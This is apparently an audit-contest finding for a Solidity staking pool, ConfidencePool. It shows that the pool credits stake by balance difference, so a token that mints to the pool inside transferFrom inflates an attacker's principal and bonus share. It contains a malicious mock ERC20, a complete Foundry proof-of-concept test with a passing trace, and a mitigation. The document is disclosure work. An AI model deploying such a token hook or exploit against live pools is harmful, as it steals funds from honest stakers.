FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Balance-Diff Stake Accounting Credits Phantom Principal When Allowlisted Token Mints to Pool Mid-transferFrom

Author Revealed upon completion

Description

`ConfidencePool.stake` uses a balance-diff pattern: it records `received = balanceAfter - balanceBefore` around `safeTransferFrom`. The factory natspec documents standard ERC20 assumptions and warns about fee-on-transfer and rebasing tokens, but README/DESIGN do not mention transfer hooks or upgradeable proxy tokens that mint to the pool during `transferFrom`.

When the factory owner allowlists a token whose `transferFrom` mints extra tokens to the pool inside the transfer callback, the balance-diff counts the mint as valid stake. The staker pays `amount` but is credited `amount + inflation`. On `claimSurvived`, the attacker receives inflated principal plus a disproportionate k=2 bonus share, extracting value from honest stakers who deposited the same nominal amount. This is not fee-on-transfer (deduction) or rebasing (time-varying balances) it is inbound inflation during the balance measurement window.

```solidity
// ConfidencePool.stake
uint256 balanceBefore = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = stakeToken.balanceOf(address(this));
// @> credits any inbound balance increase, including mint-to-pool during transferFrom
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
// @> no cap: received can exceed amount when token mints to pool mid-transfer
eligibleStake[msg.sender] += received;
totalEligibleStake += received;
```
Malicious token behaviour (PoC mock):
```solidity
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
// @> mints extra tokens to pool before real transfer — not FoT, not rebasing
if (inflateEnabled && from == inflateFor && inflateAmount != 0) {
_mint(to, inflateAmount);
}
return super.transferFrom(from, to, amount);
}

Risk

Likelihood:

- Factory owner allowlists a token at `createPool` time without bytecode screening allowlist is checked once, with no immutability or post-upgrade re-validation.

- An upgradeable proxy ERC20 appears benign at allowlist time and later adds a `transferFrom` hook that mints to the recipient (the pool). Its not uncommon for allowed proxy tokens(USDC/USDT).

Impact:

- Attacker credited 2× principal for 1× deposit `Staked(attacker, 200e18)` for `stake(100e18)`.

- Honest stakers (Bob) lose bonus share and relative principal entitlement to the inflating attacker.

- With sufficient inflation, later claimers can face insolvency when pool balance does not cover summed liabilities.

Proof of Concept

```bash
forge build
forge test --match-contract PoC_MInflation_HookBalanceDiffTest -vvvv
```
| Path | Role |
|------|------|
| `test/audit/PoC_MInflation_HookBalanceDiff.t.sol` | Standalone PoC |
| `test/mocks/MockInflationHookERC20.sol` | Token that mints to pool inside `transferFrom` |
| `test/helpers/BaseConfidencePoolTest.sol` | Mock registry + agreement helpers |
---
### Reviewer copy-paste setup (clean official contest repo)
All paths relative to **`repo/`**.
**Step 1 — Prerequisites**
```bash
cd repo
git submodule update --init --recursive
forge build
```
**Step 2 — Create the mock file**
Create **`test/mocks/MockInflationHookERC20.sol`** and paste:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/// @notice Malicious allowlisted token: mints extra tokens to the pool mid-`transferFrom`
contract MockInflationHookERC20 is ERC20 {
address internal inflateFor;
uint256 internal inflateAmount;
bool internal inflateEnabled;
constructor() ERC20("Inflate", "INF") {}
function configureInflation(address staker, uint256 extraPerStake, bool enabled) external {
inflateFor = staker;
inflateAmount = extraPerStake;
inflateEnabled = enabled;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
if (inflateEnabled && from == inflateFor && inflateAmount != 0) {
_mint(to, inflateAmount);
}
return super.transferFrom(from, to, amount);
}
}
```
**Step 3 — Create the PoC test file**
Create **`test/audit/PoC_MInflation_HookBalanceDiff.t.sol`** and paste:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {MockInflationHookERC20} from "test/mocks/MockInflationHookERC20.sol";
contract PoC_MInflation_HookBalanceDiffTest is BaseConfidencePoolTest {
function test_PoC_hook_inflation_balanceDiff_overcreditsAttackerStealsBonus() external {
MockInflationHookERC20 inflateToken = new MockInflationHookERC20();
ConfidencePool inflatePool = ConfidencePool(Clones.clone(address(new ConfidencePool())));
inflatePool.initialize(
agreement,
address(inflateToken),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
_defaultScope()
);
address inflateAttacker = makeAddr("inflateAttacker");
inflateToken.configureInflation(inflateAttacker, 100 * ONE, true);
inflateToken.mint(inflateAttacker, 100 * ONE);
vm.startPrank(inflateAttacker);
inflateToken.approve(address(inflatePool), 100 * ONE);
inflatePool.stake(100 * ONE);
vm.stopPrank();
assertEq(inflatePool.eligibleStake(inflateAttacker), 200 * ONE);
inflateToken.mint(bob, 100 * ONE);
vm.startPrank(bob);
inflateToken.approve(address(inflatePool), 100 * ONE);
inflatePool.stake(100 * ONE);
vm.stopPrank();
address bonusPayer = makeAddr("bonusPayer");
inflateToken.mint(bonusPayer, 50 * ONE);
vm.startPrank(bonusPayer);
inflateToken.approve(address(inflatePool), 50 * ONE);
inflatePool.contributeBonus(50 * ONE);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
inflatePool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
inflatePool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 bobBefore = inflateToken.balanceOf(bob);
vm.prank(bob);
inflatePool.claimSurvived();
uint256 bobPayout = inflateToken.balanceOf(bob) - bobBefore;
uint256 atkBefore = inflateToken.balanceOf(inflateAttacker);
vm.prank(inflateAttacker);
inflatePool.claimSurvived();
uint256 atkPayout = inflateToken.balanceOf(inflateAttacker) - atkBefore;
assertGt(atkPayout, bobPayout);
assertGt(atkPayout - 100 * ONE, bobPayout - 100 * ONE);
}
}
```
**Step 4 — Run**
```bash
forge test --match-contract PoC_MInflation_HookBalanceDiffTest -vvvv
```
**Expected result:** `1 passed` attacker credited `200e18` for `100e18` deposit; `atkPayout > bobPayout` after `claimSurvived`.
```
[PASS] test_PoC_hook_inflation_balanceDiff_overcreditsAttackerStealsBonus() (gas: 4012880)
Traces:
[4012880] PoC_MInflation_HookBalanceDiffTest::test_PoC_hook_inflation_balanceDiff_overcreditsAttackerStealsBonus()
├─ stake(100e18) [inflateAttacker]
│ ├─ transferFrom pulls 100e18 + _mint(pool, 100e18) inside hook
│ └─ eligibleStake(inflateAttacker) → 200000000000000000000 [2e20]
├─ stake(100e18) [bob] → eligibleStake(bob) → 100e18
├─ contributeBonus(50e18)
├─ flagOutcome(SURVIVED)
├─ claimSurvived() [bob]
│ └─ emit ClaimSurvived(principal: 100e18, bonusShare: ~16.66e18) → payout ~116.66e18
├─ claimSurvived() [inflateAttacker]
│ └─ emit ClaimSurvived(principal: 200e18, bonusShare: ~33.33e18) → payout ~233.33e18
└─ assertGt(atkPayout, bobPayout) ✓
Suite result: ok. 1 passed; 0 failed; 0 skipped
```

Recommended Mitigation

Cap inbound credit to requested `amount` in `stake` and `contributeBonus`: `if (received > amount) revert NonStandardTokenTransfer();`

Document that hookable and upgradeable ERC20 implementations are unsupported; require immutable implementation whitelist at allowlist time.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!